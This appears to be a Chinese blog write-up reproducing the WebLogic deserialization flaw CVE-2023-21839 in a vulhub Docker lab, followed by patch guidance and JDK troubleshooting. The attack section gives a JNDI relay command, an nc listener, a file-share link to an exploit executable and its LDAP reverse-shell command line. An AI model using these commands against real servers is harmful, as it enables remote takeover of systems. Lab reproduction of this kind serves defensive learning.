CVE-2023-21839 Weblogic反序列化漏洞复现及踩坑

免责声明

本文仅用于参考和学习交流,对于使用本文所提供的信息所造成的任何直接或间接的后果和损失,使用者需自行承担责任。本文的作者对此不承担任何责任。请在使用本文内容时谨慎评估风险并做出独立判断。谢谢!

正文

1.环境搭建

docker-compose搭建,下载地址:

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839

运行命令:

docker-compose up -d

然后访问ip:7001/console就可以看到weblogic界面了

2.反弹shell

启动JNDI中转服务

java  -jar JNDIExploit-1.4-SNAPSHOT.jar  -i IP

再监听个端口

nc -lnvp PORT

利用工具进行攻击

文件文件大小:2.8 M|icon-default.png?t=N7T8https://wwkn.lanzn.com/i89FC1ktgo4f密码:gw0b

CVE-2023-21839.exe  -ip 靶机IP -port 7001 -ldap ldap://服务器IP:1389/Basic/ReverseShell/服务器IP/监听端口

3.修复方式

1.下载最新补丁,链接:https://support.oracle.com/rs?type=doc&id=2917213.2

2.限制T3协议访问

4.踩坑

JNDI服务这里报错了

"in thread "LDAPListener client connection reader for connection from  xxx to xxxxx:1389" java.lang.IllegalAccessError: superclass access check failed: class com.feihong.ldap.template.TomcatEchoTemplate (in unnamed module @0x26933859) cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x26933859"

查了一下,是因为JDK版本的问题,这里附上常规解决方法,实际遇到得根据服务器的版本去下载JDK和修改环境变量

# 移除openjdk


apt-get remove openjdk*
apt autoremove

# 下载需要安装的java版本

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

# 安装


cp jdk-8u202-linux-x64.tar.gz /opt  #将压缩包移动至/opt文件夹
tar -xvzf jdk-8u202-linux-x64.tar.gz  #将压缩包解压至当前文件夹
cd jdk1.8.0_202  #进入解压好的文件夹
vi /etc/profile用vi编辑器打开profile文件

在文件尾部加入以下信息:


export JAVA_HOME=/opt/jdk1.8.0_202
export CLASSPATH=.:${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH

# 保存退出

source /etc/profile

# 维护符号链接

update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_202/bin/java 1

update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_202/bin/javac 1

update-alternatives --set java /opt/jdk1.8.0_202/bin/java

update-alternatives --set javac /opt/jdk1.8.0_202/bin/javac

# 查看结果


java -version

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-26 09:28:01       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-26 09:28:01       100 阅读
  3. 在Django里面运行非项目文件

    2024-01-26 09:28:01       82 阅读
  4. Python语言-面向对象

    2024-01-26 09:28:01       91 阅读

热门阅读

  1. PyTorch中self.layers的作用

    2024-01-26 09:28:01       43 阅读
  2. linux常用基础命令最新版

    2024-01-26 09:28:01       44 阅读
  3. linux bash shell的getopt以及函数用法小记

    2024-01-26 09:28:01       57 阅读
  4. bash 5.2中文修订 第十部分 安装Bash

    2024-01-26 09:28:01       45 阅读
  5. 深度学习核心技术与实践之深度学习研究篇

    2024-01-26 09:28:01       47 阅读
  6. js toPrecision() 和toFixed() 方法是什么和例子

    2024-01-26 09:28:01       51 阅读
  7. Jenkins 创建 Pipeline 项目

    2024-01-26 09:28:01       54 阅读
  8. 【Spring Boot 3】【@Scheduled】静态定时任务

    2024-01-26 09:28:01       56 阅读
  9. API设计模式:REST、GraphQL、gRPC与tRPC全面解析

    2024-01-26 09:28:01       45 阅读